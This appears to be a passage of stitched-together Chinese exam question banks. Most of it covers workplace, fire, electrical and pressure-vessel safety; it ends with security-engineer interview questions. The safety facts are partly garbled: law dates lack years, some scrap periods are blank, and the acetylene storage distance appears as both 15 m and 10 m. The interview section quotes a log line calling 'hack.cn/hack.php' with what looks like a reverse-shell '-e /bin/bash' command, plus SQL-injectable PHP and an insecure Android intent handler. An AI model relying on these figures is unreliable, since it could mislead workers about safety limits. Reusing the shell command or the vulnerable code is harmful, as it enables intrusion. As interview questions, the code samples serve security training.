答：1、离地高度，室内不小于2.5米,室外不小于3米,跨越公路不小于5米。2、电线的绝缘必须良好。3、电线不得接触易燃易爆高温潮湿的管道、设备。4、电线留头要用绝缘胶布包扎好或临时配电插座盘。 23.什么叫闪点？什么叫燃点？ 答：凡是易燃液体和可燃液体的蒸气，遇到明火能引起闪燃现象，这时的温度值就叫闪点。物质在开始着火时的温度叫燃点。 24.电气线路发生火灾的主要原因是什么？ 答：（1）线间短路；（2）保险器安装不合适；（3）过负荷；（4）接点或连接处接触不良电阻过大，导线发热。 25.机械伤人的原因有哪些？ 答：1、机械设备不符合安全要求；2、使用过程中防护不周，无防护设施；3、安全操作规定不完善和安全教育不够。 26.施工现场电气发生火情时，应先切断电源，使用砂土，二氧化碳，“1211”或干粉灭火器灭火，不得用水和泡沫灭火器进行。 27.火灾分为A、B、C、D四类1.A类火灾：指固体物质火灾。这种物质往往具有有机物性质，一般在燃烧时能产生灼热的余烬。如木材、棉、毛、麻、纸张火灾等。2.B类火灾：指液体火灾和可熔化的固体火灾。如汽油、煤油、原油、甲醇、乙醇、沥青、石蜡火灾等。3.C类火灾：指气体火灾。如煤气、天然气、甲烷、乙烷、丙烷、氢气火灾等。4.D类火灾：指金属火灾。指钾、钠、镁、钛、锆、锂、铝镁合金火灾等。 28.《中华人民共和国安全生产法》于6月9日公布，月1日施行。8月31日第十二届全国人民代表大会常务委员会第十次会议通过全国人民代表大会常务委员会关于修改《中华人民共和国安全生产法》的决定，自月1日起施行。 29.职业病防治工作坚持预防为主、防治结合，实行分类管理、综合治理。 30.对于工伤事故中停止呼吸和心跳的伤员，在5分钟内抢救成功率极高。 31.建筑物起火的5~7分钟内是灭火的最好时机，超过这个时间，就要设法逃离火灾现场。 32.用人单位强令劳动者违章冒险作业，发生重大伤亡事故，造成严重后果的，对责任人依法追究刑事责任。 33.人体允许通过的安全电流，男性为9毫安，女性为6毫安。电流为50毫安时，将危及人的生命，称为致死电流。 34.全国消防宣传日是11月9日。 35.安全色分类及其含义：红色:禁止标志蓝色:指令标志黄色:警戒标志绿色:提示标志。 36.在遇到高压电线断落地面时，导线断落点20米内，禁止人员进入。 37.三线电缆中的红线代表火线。 38.劳动安全卫生标志”以代表劳动安全卫生的绿十字为中心，周围用变性的齿轮和橄榄枝叶构成一个图案，左侧的齿轮象征劳动、长城和中国，右侧的橄榄叶象征着和平、美满和幸福。 39.如果触电者伤势严重，呼吸停止或心脏停止跳动，应竭力施行人工呼吸和胸外心脏挤压。 40.使用灭火器扑救火灾时要对准火焰根部喷射。 41.凡在坠落高度基准面2米及以上有可能坠落的高处进行的作业叫高处作业。 42.施工现场进行拆除工程时，必须自上而下拆除。 43.乙炔瓶的储藏仓库，应该避免阳光直射，与明火距离不得小于15米。 44.火灾蔓延的途径有热传导、热辐射、热对流。 45.对过失引起火灾，尚未造成严重损失的行为，应给予警告、罚款或者十日以下拘留处罚。 46.安全生产的范围包括人身安全、设备安全。 47.安全生产管理的“四全”原则有全员、全过程、全方位、全天候。 48.安全带使用2年后，应检查一次。 49.在高空作业时，工具必须放在手提工具箱或工具袋里。 50.国家规定一顶安全帽的重量不应超过400克。 51.安全帽上如标有“D”标记，是表示具有绝缘性能的安全帽。 52.安全带的正确挂扣应该是高挂低用。 53.凡有两层(含两层)以上作业人员，同时在同一垂直体内作业，这样容易发生物体打击的作业，称为交叉作业。 54.施工现场“三宝”是安全帽、安全带、安全网。 55.安全电压值：42,36,24,12,6伏。 56.安全电压的供电电源：由特定电源供电，包括独立电源和安全隔离变压器（由安装在同一铁芯上的两个相对独立的线圈构成）。自耦变压器、分压器和半导体装置等不能作为电压的供电电源。 57.安全电压回路必须具备的条件： Ⅰ、供电电源输入输出必须实行电路上的隔离； Ⅱ、工作在安全电压下的电路，必须与其它电气系统无任何电气上的联系（不允许接地，但安全隔离变压器的铁芯应该接地）； Ⅲ、采用24V以上的安全电压时，必须采取防止直接接触带电体的保护措施，不允许有裸露的带电体； Ⅳ、线路符合下列条件：部件和导线的电压等级至少为250V，安全电压用的插头，就不能插入较高电压的插座。 58.触电现场挽救要点：迅速脱离电源；准确实行救治（人工呼吸和胸外心脏挤压）；就地进行抢救；救治要坚持到底。 59.什么叫压力容器的工作压力、最高工作压力、设计压力?它们之间的关系如何?压力容器的工作温度和设计温度分别指的是什么? 答：工作压力(也称操作压力)是指在正常工艺操作时容器顶部的压力。最高工作压力是指在正常工艺操作过程中可能出现的最高压力。压力超过此值时，容器上的安全装置就要动作。最高工作压力的确定与工作介质有关设计压力是指在相应设计温度下用以确定容器的计算壁厚及其元件尺寸的压力。《压力容器安全技术监察规程》中规定，容器的设计压力不得低于最高工作压力。装有安全泄放装置的压力容器，其设计压力不得低于安全泄放装置的开启压力或爆破压力。压力容器的工作温度是指容器内部工作介质在正常操作过程中的温度，即介质温度。设计温度是指容器在正常操作过程中，在相应的设计压力下，壳壁或元件金属可能达到的最高或最低温度。当壳壁或元件金属的温度低于一20℃时，按最低温度确定设计温度，除此以外，设计温度一律按最高温度选取。压力容器的工作温度是指介质温度，而设计温度是指壳体的设计温度。 60.从出厂日期算起，达到如下年限灭火器（瓶）的必须报废： 手提式化学泡沫灭火器―5年；手提式酸碱灭火器―5年；手提式清水灭火器―6年；手提式干粉灭火器（贮气瓶式）―8年；手提贮压式干粉灭火器―；手提式1211灭火器―10年；手提式二氧化碳灭火器―；推车式化学泡沫灭火器―8年；推车式干粉灭火器（贮气瓶式）―10年；推车贮压式干粉灭火器―12年；推车式1211灭火器―10年；推车式二氧化碳灭火器―12年。另外，应报废的灭火器或贮气瓶，必须在筒身或瓶体上打孔，并且用不干胶贴上“报废”的明显标志，内容如下：“报废”二字，字体最小为25mm×25mm；报废年、月；维修单位名称；检验员签章。灭火器应每年至少进行一次维护检查。 61.化工压力容器的分类：压力容器按用途分为反应容器、传热容器、分离容器和储运容器。 62.什么叫压力容器:压力容器，是指盛装气体或者液体，承载一定压力的密闭设备，其范围规定为最高工作压力大于或者等于0．1MPa（表压）。 63.压力容器安全检查的内容包括：1、保温、防腐、设备铭牌是否完好。2、容器有无裂纹、变形、局部鼓包等现象。3、容器的所有裂纹、受压元件等有无泄漏。4、安全附件是否齐全、灵敏、可靠。5、基础有无下沉、倾斜。坚固的螺丝是否齐全、完好。6、有无震动、摩擦。7、运行中操作压力、温度、组分参数是否符合设计规定。8、运行日志、检修记录是否齐全、正确。 64.化工常见物质的毒性作用：氯气(Cl2)：黄绿色气体，易溶于水、碱溶液、二硫化碳和四氯化碳等。与一氧化碳作用可生成毒性更大的光气。氯溶于水生成盐酸和次氯酸，产生局部刺激。主要损害上呼吸道和支气管的黏膜，引起支气管痉挛、支气管炎和支气管周围炎，严重时引起肺水肿。吸入高浓度氯后，引起迷走神经反射性心跳停止，呈“电击样”死亡。 65.二氧化硫(SO2)：无色气体，密度为空气的2．3倍。加压可液化，液体相对密度1．434，沸点－10℃。溶于水、乙醇和乙醚。吸入呼吸道后，在黏膜湿润表面上生成亚硫酸和硫酸，产生强烈的刺激作用。大量吸入可引起喉水肿、肺水肿、声带痉挛而窒息。 66.一氧化碳(CO)：无色、无嗅、无刺激性气体。密度为空气的0．968倍，不溶于水，但可溶于氨水、乙醇、苯和醋酸。燃烧时火焰呈蓝色。一氧化碳被吸入后，经肺泡进入血液循环。一氧化碳与血红蛋白生成碳氧血红蛋白。碳氧血红蛋白无携氧能力，又不易解离，造成全身各组织缺氧。 67.氰化氢(HCN)：无色、具有苦杏仁味的气体，密度为空气的0．94倍，熔点－13．4℃，沸点26℃。溶于水、乙醇和乙醚。溶于水生成为易挥发的氢氰酸。氰化氢与体内氧化型细胞色素氧化酶的三价铁离子有很强的亲和力，与之牢固结合后，酶失去活性，阻碍生物氧化过程，使组织细胞不能利用氧，造成内窒息。 68.硫化氢(H2S)：无色、具有臭鸡蛋气味的气体，密度为空气的1．19倍，沸点－61．8℃。溶于水、乙醇、甘油、石油溶剂。 69.灭火的基本方法：一、冷却灭火法：将灭火剂直接喷射到燃烧的物体上，以降低燃烧的温度于燃点之下，使燃烧停止；或者将灭火剂喷洒在火源附近的物质上，使其不因火焰热辐射作用而形成新的火点。冷却灭火法是灭火的一种主要方法，常用水和二氧化碳作灭火剂冷却降温灭火。灭火剂在灭火过过程中不参与燃烧过程中的化学反应。这种方法属于物理灭火方法 二、隔离灭火法：将周围未燃烧的可燃物质移开或与正在燃烧的物质隔离，中断可燃物质的供给，使燃烧因缺少可燃物而停止。具体方法有： 1、将火源附近的可燃、易燃、易爆和助燃物品搬走； 2、关闭可燃气体、液体管道的阀门，减少和阻止可燃物质进入燃烧区； 3、设法阻拦流散的易燃、可燃液体； 4、拆除与火源毗连的易燃建筑物，形成防止火势蔓延的空间地带。 三、窒息灭火法：阻止空气流入燃烧区或用不燃烧气体等冲淡空气，使燃烧物得不到足够的氧气而熄灭。具体方法是： 1、用沙土、水泥、湿麻袋、湿棉被等不燃或难燃物质覆盖燃烧物； 2、喷洒雾状水、干粉、泡沫等灭火剂覆盖燃烧物； 3、用水蒸气或氮气、二氧化碳等惰性气体灌注发生火灾的容器、设备； 4、密闭起火建筑、设备和孔洞； 5、将不燃气体或不燃液体（如二氧化碳、氮气、四氯化碳等）喷洒到燃烧物区域内或燃烧物上。 70.名词解释 1、违章操作：是指劳动生产过程中违反国家颁发的各种法规性文件和企业、事业单位及其管理机关指定的反映安全生产客观规律的各种规章制度，包括工艺技术、生产操作、劳动保护、安全管理等方面的规程、规则、章程、条例、办法和制度，以及有关安全生产的通知、决定等。 2、安全生产责任制：安全生产责任制是根据安全生产法规建立的各级领导、职能部门、工程技术人员、岗位操作人员在劳动生产过程中对安全生产层层负责的制度。 3、事故隐患：泛指生产系统导致事故发生的人的不安全行为、物的不安全状态和管理上的缺陷。4.企业职工伤亡事故：是指职工在劳动过程中发生的人身伤害、急性中毒事故。即职工在本岗位劳动，或虽不在本岗位劳动，但由于企业的设备和设施不安全、劳动条件和作业环境不良、管理不善，以及企业领导指派到企业外从事本企业活动，所发生的人身伤害(即轻伤、重伤、死亡)和急性中毒事故。 5、企业职工伤亡事故：是指职工在劳动过程中发生的人身伤害、急性中毒事故。即职工在本岗位劳动，或虽不在本岗位劳动，但由于企业的设备和设施不安全、劳动条件和作业环境不良、管理不善，以及企业领导指派到企业外从事本企业活动，所发生的人身伤害(即轻伤、重伤、死亡)和急性中毒事故。71.劳动卫生的中心任务是，改善劳动条件，防止职业危害。 72.从宏观讲，根据统计，事故发生的原因中，主要的原因是物的不安全状态和人的不安全行为。 73.安全检查的类型有：日常安全检查、定期安全检查、专业性安全检查、季节性安全检查和节假日后安全检查、不定期安全检查。 74.周恩来同志于l957年提出了“安全第一”的口号。 75.特种作业及人员范围包括： （1）电作作业。含发电、送电、变电、配电工，电气设备的安装、运行、检修（维修）、试验工，矿山井下电钳工。（2）金属焊接、切割作业。含焊接工，切割工。（3）起重机械（含电梯）作业。含起重机械（含电梯）司机，司索工，信号指挥工，安装与维修工。（4）企业内机动车辆驾驶。含在企业内码头、货场等生产作业区域和施工现场行驶的各类机动车辆的驾驶人员。（5）登高架设作业。含2米以上登高架设、拆除、维修工，高层建（构）物表面清洗工。（6）锅炉作业（含水质化验）。含承压锅炉的操作工、锅炉水质化验工。（7）压力容器作业。含压力容器罐装工、检验工、运输押运工、大型空气压缩机操作工。（8）制冷作业。含制冷设备安装工、操作工、维修工。（9）爆破作业。含地面工程爆破、井下爆破工。（10）矿山通风作业。含主扇风机操作工，瓦斯抽放工，通风安全监测工，测风测尘工。（11）矿山排水作业。含矿井主排水泵工，尾矿坝作业工。（12）矿山安全检查作业。含安全检查工，瓦斯检验工，电器设备防爆检查工。（13）矿山提升运输作业。含提升机操作工，（上、下山）绞车操作工，固定胶带输送机操作工，信号工，拥罐（把钩）工。（14）采掘（剥）作业。含采煤机司机，掘进机司机，耙岩机司机，凿岩机司机。（15）矿山救护作业。（16）危险物品作业。含危险化学口、民用爆炸品、放射性物品的操作工，运输押运工、储存保管员。（17）经国家安全生产监督管理局批准的其它作业。 76.特种作业人员应年满18岁以上，但从事爆破作业和煤矿井下瓦斯检验的人员，年龄不得低于20周岁。 77.特种作业人员经过专业技术培训考试合格取得操作许可证者，方可上岗。 78.复审年限除机动车辆驾驶和机动船舶驾驶、轮机操作员外，按国家有关规定，其他特种作业操作证每2年复审一次。 79.气瓶的瓶体有肉眼可见的突起（鼓包）缺陷的，应报废处理。乙炔瓶的储藏仓库，应该避免阳光直射，与明火距离不得小于10米。 80.在焊接作业中，为保护操作者的安全，保护片一般累计使用8小时更换一次。 81.气焊是利用气体燃烧的火焰作为热源的焊接方法。 82.电焊工作的地点不应该存放易燃物体。 83.锅炉的三大安全附件分别是安全阀、压力表、水位表。炉水长期处理不当可能导致锅炉爆炸。锅炉检测项目的周期外部检验，每年进行一次。 84.起重机接近终点时，应该及时断电，尽可能不动用行程限位器。 85.使用直流电焊机施焊前，电压不得超过多少110伏。 86.开启气瓶瓶阀时，操作者应该站在侧面。 87.压力表在刻度盘上刻有的红线表示高工作压力。 88.起重机械的信号员的主要责任是在吊运过程中，给操作员适当的指示信号，令吊运工作顺利进行 89.在对锅炉、压力容器维修的过程中，应使用12伏照明。 90.由于人的过失引起火灾，造成严重后果的行为，构成失火罪。 95.烟头中心温度可达700～800℃，它超过了棉、麻、毛织物、纸张、家具等可燃物的燃点，若乱扔烟头容易引起燃烧，甚至造成火灾。 96.机器防护罩的主要作用是防止发生操作事故。 97.手用工具不应放在工作台边缘是因为.工具易与坠落伤人。 98.气体钢瓶使用注意事项：1、在搬动存放气瓶时，应装上防震垫圈，旋紧安全帽，以保护开关阀，防止其意外转动和减少碰撞。 2、搬运充装有气体的气瓶时，最好用特制的担架或小推车，也可以用手平抬或垂直转动。但绝不允许用手执着开关阀移动。 3、充装有气的气瓶装车运输时，应妥善加以固定，避免途中滚动碰撞；装卸车时应轻抬轻放，禁止采用抛丢、下滑或其它易引起碰击的方法。 4、充装有互相接触后可引起燃烧、爆炸气体的气瓶（如氢气瓶和氧气瓶），不能同车搬运或同存一处，也不能与其它易燃易爆物品混合存放。 5、气瓶瓶体有缺陷、安全附件不全或已损坏，不能保证安全使用的，切不可再送去充装气体，应送交有关单位检查合格后方可使用。 99：锅炉在高温高压下工作，时刻受到烟、火、水汽等物质的侵蚀和运行状态的影响；压力容器和气瓶有的在高温高压下使用，有的在低温深冷条件下使用，还有的盛装易燃易爆，有毒极毒或腐蚀性介质，这些设备的金属材料因发生腐蚀、磨损、变形、疲劳、脱炭以及金相组织的变化，其附件和附属设备也会随着运行和操作因素的影响，发生故障或造成损坏，如不及时发现处理，就可能发生严重的设备损坏和人身伤亡事故。因此，为了及时掌握锅炉、压力容器、气瓶等设备状况，发现和消除隐患，保证设备安全经济运行，必须定期对设备进行必要的检验和修理。 100.为什么要对锅炉水质进行处理?答：锅炉水质的好坏，对锅炉的安全经济运行关系十分密切。锅炉水质不好，会使受热面上结生水垢，影响传热效果，浪费燃料。严重的还会造成锅筒鼓包，管子堵塞而引起事故。炉水中含有的各种杂质，(包括气体等)，还会引起金属的腐蚀，缩短了锅炉的使用寿命；过多的杂质，还将影响蒸汽的质量，使蒸汽带水而发生汽水共腾。因此，加强对锅炉的水质处理工作，是确保锅炉安全和经济运行的重要环节。篇6：安全知识竞赛培训题库（简答题）
简答题
1、我国安全生产立法的目的是什么?
答：为了加强安全生产工作，防止和减少生产安全事故，保障人民群众生命和财产安全，促进经济社会发展，制定本法。
2、什么是二次事故?
答：二次事故是由于一次事故对危险因素的第二次激发，造成事故的扩大蔓延。
3、职业病防治法职业禁忌如何定义
答：职业禁忌，是指劳动者从事特定职业或者接触特定职业病危害因素时，比一般职业人群更易于遭受职业病危害和罹患职业病或者可能导致原有自身疾病病情加重，或者在从事作业过程中诱发可能导致对他人生命健康构成危险的疾病的个人特殊生理或者病理状态。
4、安全生产法中，工会的职责是什么?
答：工会依法对安全生产工作进行监督。生产经营单位的工会依法组织职工参加本单位安全生产工作的民主管理和民主监督，维护职工在安全生产方面的合法权益。 生产经营单位制定或者修改有关安全生产的规章制度，应当情趣工会的意见。
5、安全色是表达安全信息的颜色，有哪四种，各代表什么意义?
答：有红、黄、蓝、绿四种。其中红色表示禁止、停止、消防和危险的意思;黄色表示注意、警告;蓝色表示指令必须遵守的规定;绿色表示提示、安全状态及通行的规定。
6、用于评价安全工作的指标有哪些?
答：伤害频率、伤害严重率、伤害平均严重率。
7、《甘肃省火灾高危单位消防安全管理规定》中火灾高危单位消防安全管理人应履行哪些职责?
答：火灾高危单位消防安全管理人协助消防安全责任人负责消防安全工作，并履行下列职责：
(一)组织实施日常消防安全管理工作;
(二)制定、落实消防安全制度和操作规程;
(三)组织实施消防安全检查和火灾隐患整改工作;
(四)组织管理专职消防队，定期对专职消防队进行消防知识和灭火技能培训、考核;
(五)组织开展消防宣传教育培训，组织灭火应急预案的实施和演练;
(六)消防安全责任人委托的其他消防安全管理工作。
8、有关劳动保护方面的国家标准主要有哪些?
答：安全管理、安全技术和劳动卫生三部分。
9、《刑法》第一百三十四条规定：强令他人违章冒险作业，因而发生重大伤亡事故或者造成其他严重后果的，有何规定?
答：处五年以下有期徒刑或者拘役;情节特别恶劣的，处五年以上有期徒刑。
10、《刑法》第一百三十五条规定：安全生产设施或者安全生产条件不符合国家规定，因而发生重大伤亡事故或者造成其他严重后果的，对直接负责的主管人员和其他直接责任人员，有何规定?
答：处三年以下有期徒刑或者拘役;情节特别恶劣的，处三年以上七年以下有期徒刑。
11、《刑法》第一百三十七条 规定：建设单位、设计单位、施工单位、工程监理单位违反国家规定，降低工程质量标准，造成重大安全事故的，对直接责任人员有何规定?
答：处五年以下有期徒刑或者拘役，并处罚金;后果特别严重的，处五年以上十年以下有期徒刑，并处罚金。
12、《刑法》第一百三十四条规定：在生产、作业中违反有关安全管理的规定，因而发生重大伤亡事故或者造成其他严重后果的如何处理?
答：在生产、作业中违反有关安全管理的规定，因而发生重大伤亡事故或者造成其他严重后果的，处三年以下有期徒刑或者拘役;情节特别恶劣的，处三年以上七年以下有期徒刑。
13、水利工程洞井施工时，应及时向工作面供应新鲜空气的标准是多少?
答：每人每分钟3立方米。
14、242、火灾高危单位消防安全第一责任人、消防安全管理人、消防安全员消防安全培训有哪些规定?
答：火灾高危单位应当每半年组织开展一次全员消防安全培训。消防培训主要包括以下内容：
(一)有关消防法律、法规、规章和管理制度;
(二)本单位、本岗位的火灾危险性和防火措施;
(三)建筑消防设施、灭火器材的性能、使用方法和操作程序;
(四)报火警、扑救初起火灾、应急疏散和自救逃生的知识、技能;
(五)安全疏散路线，引导人员疏散的程序和方法;
(六)灭火和应急疏散预案的内容、操作程序。
员工须经岗前消防教育和技能培训后方可上岗。
15、我国现行国家标准GB6441―86《企业职工伤亡事故分类》中，按事故类别是如何分类的?
答：我国现行国家标准GB6441―86《企业职工伤亡事故分类》中，将事故类别划分成20项。(1)物体打击(2)车辆伤害(3)机械伤害(4)起重伤害(5)触电(6)淹溺(7)灼烫(8)火灾(9)高处坠落(10)坍塌(11)冒顶片帮(12)透水(13)放炮(14)瓦斯爆炸(15)火药爆炸(16)锅炉爆炸(17)容器爆炸(18)其他爆炸(19)中毒窒息(20)其他伤害
16、哪些情况不应认定为工伤
答：按照工伤管理条例第十六条规定，职工有下列情形之一的，不得认定为工伤或者视同工伤：
(一)因犯罪或者违反治安管理伤亡的;
(二)醉酒导致伤亡的;
(三)自残或者自杀的。
17、发生事故后“四不放过”的定义是什么?
答： “四不放过”是指事故原因未查清不放过;责任人员未处理不放过;责任人和群众未受教育不放过;整改措施未落实不放过。
18、车辆驾驶的八项禁令是什么?
答：(1)严禁无证驾驶和无令开车;
(2)严禁酒后开车;
(3)严禁人货混装;
(4)严禁超速开车;
(5)严禁带病开车;
(6)严禁违章超车;
(6)严禁超标装载行车;
(7)严禁违章空档滑车。
19、高处作业“三宝”是什么?
答：高处作业三件宝是安全帽、安全带、安全网。安全帽是防物体打击，防坠落时头部碰撞的头部防护装置;安全带是在发生坠落时，用其拴在牢固物体上的绳带保护人体不能继续坠落的防护装置;安全网具有一定的强度和缓冲性能，安装在高处作业现场，用来截住坠落人或物，以避免或减轻坠落人伤害或防止坠落物伤人的防护装置。
20、《安全生产法》对重大危险源如何规定?
答：《安全生产法》规定：是指长期地或者临时地生产、搬运、使用或者储存危险物品，且危险物品的数量等于或者超过临界量的单元(包括场所和设施)。
21、安全生产隐患是如何定义的?
答：安全生产事故隐患(以下简称事故隐患)，是指生产经营单位违反安全生产法律、法规、规章、标准、规程和安全生产管理制度的规定，或者因其他因素在生产经营活动中存在可能导致事故发生的物的危险状态、人的不安全行为和管理上的缺陷。
22、根据《企业职工劳动安全卫生教育管理规定》(劳部发[1995]405号)第5条规定，企业新职工上岗前必须进行哪三级安全教育?三级安全教育时间不得少于多少学时?
答：厂级、车间级、班组级。40学时。
23、安全生产法规定生产经营单位的主要负责人职责是什么?
答：生产经营单位的主要负责人对本单位安全生产工作负有下列职责：
(一)建立、健全本单位安全生产责任制;
(二)组织制定本单位安全生产规章制度;
(三)组织制定并实施本单位安全生产教育和培训计划;
(四)保证本单位安全生产投入的有效实施;
(五)督促、检查本单位的安全生产工作，及时消除生产安全事故隐患;
(六)组织制定并实施本单位的安全生产应急救援预案;
(七)及时、如实报告生产安全事故。。
24、安全生产法规定事故的调查的原则和目的是什么?
答：事故调查处理应当按照科学严谨、依法依规、实事求是、注重实效的原则，及时、准确地查清事故原因，查明事故性质和责任，总结事故教训，提出整改措施，并对事故责任者提出处理意见。事故调查报告应当依法向社会公布。事故和处理的具体办法由国务院制定。
事故发生单位应当及时全面落实整改措施，负有安全生产监督管理职责的部门应当加强监督检查。
25、全面安全管理的内容是什么?
答：“四全”安全管理，即全员、全面、全过程、全天候安全管理，做到“横向到边，纵向到底”的全面管理。
26、什么是“三个同步”原则?
答：“三个同步”原则是指安全生产与经济建设、企业深化改革、技术改造同步规划、同步发展、同步实施的原则。
27、什么是工伤事故?
答：工伤事故又称劳动事故，有广义、狭义之分。在狭义上，国家人力资源和社会保障部有关工伤保险的业务指南中指出“工伤事故应该是指适用《工伤保险条例》的所有用人单位的职工在工作过程中发生的人身伤害和急性中毒事故”“其本质特征是由于工作原因直接或间接造成的伤害和急性中毒事故”。我国工伤事故赔偿中所指称的工伤事故采用的是广义，既包括一般伤害事故和急性中毒，又包括罹患职业病。
28、高处作业的“三大纪律”是指什么?
答：(1)进入施工现场戴好安全帽、扣好帽带;
(2)高处作业系好安全带;
(3)高处作业不准往下乱抛工具、物件。
29、监督管理的基本原则是什么?
答：1)坚持有法必依、执法必严、违法必究的原则;
2)坚持以事实为依据，以法律为准绳的原则;
3)坚持以预防为主的原则
4)坚持行为监察与技术监察相结合的原则
5)坚持监察与服务相结合的原则
6)坚持教育与惩治相结合的原则
30、火灾事故的防范原则包括哪些?
答：预防、限制、灭火和疏散四个方面。
篇7：安全工程师简答题
安全工程师简答题
简答题：
请列举防御CC攻击的方法
审计这条web请求，说说你的看法
www.hack.cn/hack.php?cmd= ... 80-e/bin/bash 200
你发现110.2.3.4正在暴力破解你所管理的服务器，你应该如何处理?
硬件断点和软件点有什么不同?
从网络流量上监测到一台Linux机器连接着一台木马控制端，在这台机器上仅使用系统自带的命令，如何定位出哪个是进程连接的?
如果你设计一个账号系统，为保障密码的安全，你会如何设计存储密码?
非对称的加密算法可以用来加密，也可以用于签名，请说明什么场景下用来加密，什么情景下用来签名?
ContentProvider是Android上负责提供数据读写的组件，应用内部或者应用之间的数据共享与存储都会使用 ContentProvider组件。 但在实际使用过程中，很容易出现各种安全问题，请结合你实践，描述一下在使用ContentProvider时，所需要注意的事项。
现有一套针对某个jpg文件库的fuzz环境，每秒钟可以执行上千次fuzz实例，产生的crash很多，每次crash都有对应的crash dump，请说如初步何筛选出有价值的crash，如何确定某个特定的crash对应的fuzz实例，以及如何确定一个crash是否是安全漏洞(假设我 们只关心缓冲区溢出漏洞)。
gcc编译器支持的__attribute__ ((constructor))特性得以实现的底层机制跟ELF结构的`哪个部分有关系?这个部分在现实中哪些地方可以用到?
代码审计：
淘宝首页以下代码片段是否可能存在安全漏洞?如果有，请指出来并提供修复建议;如果没有，说明你判断的理由
#set($url = $!request.getParameter('url'))
以下程序是否存在安全漏洞?如果有，请指出来并提供修复建议
交易状态：
以下程序是否存在安全漏洞?如果有，请指出来并提供修复建议。
$id=$_GET['id'];
$getacct = mysql_query(“select * from orders where id='$id' and client id='$fnm->clientid”) or dir(mysql_error());
while ($row = mysql_fetch_array($getacct))
{
acctid = $row[“id”];
?>
Cpanel User:
}
?>
在Linux系统中，我们通常使用终端shell脚本处理一些数据，十分高效便捷。
现在有以下两个文件：
File1:
user passwd
Hoecker animal
Newbee 238H76N3
Buttes Paradis1
TRON995 fdcmdgeo
G60FgL LgEl9H
ozron44 oriole62
File2:
id user
001 Yosh405
002 Newbee
003 G60FgL
004 Hoecker
005 sudhakar0303
要求：
编写一段shell脚本，输出同时存在于File1和File2中用户名的密码。(可使用管道命令，只输出密码)
以下是一段导出Activity的onCreate和onNewIntent函数中的代码，请找出其中的所有漏洞并说明可能产生的危害：
其中：alibaba.test.sender是同样由淘宝开发的另一个应用程序的package name。
此Activity对应的manifest文件中的定义：
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String calling_package= getCallingPackage();
if (!calling_package.equals(“alibaba.test.sender”)){
return;
}
｝
protected void onNewIntent (Intent intent){
super.onNewIntent(intent);
Intent intent = getIntent();
Intent rec_intent;
rec_intent=intent.getParcelableExtra(“log_intent”);
Date date = new Date();
rec_intent.putExtra(“timestamp”,date.getTime());
rec_intent.putExtra(“EVENT_TYPE”,“activity_launched”);
rec_intent.setAction(“LOG_ACTION”);
sendBroadcast(rec_intent, “TAOBAO_BROADCAST_RECEIVER”);
｝
